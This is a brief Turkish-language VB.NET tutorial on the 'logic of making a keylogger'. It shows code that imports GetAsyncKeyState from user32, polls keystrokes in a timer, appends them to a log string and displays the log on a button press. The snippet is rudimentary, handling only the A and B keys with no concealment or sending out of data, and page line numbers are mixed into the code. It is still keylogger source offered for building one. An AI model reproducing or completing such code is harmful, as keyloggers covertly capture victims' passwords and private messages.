[VB.NET]Keylogger Yapım Mantığı

Global Değişkenimiz ;

1	Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) as Short

Timer1 Kodları;

1 2 3 4 5

If(GetAsyncKeyState(65)) Then log = log + "A" ElseIf(GetAsyncKeyState(66)) Then log = log + "B" End If

Button1 Kodları; 

1	RichTextBox1.Text = log

Form1_Load Kodları;

1	Timer1.Enabled = True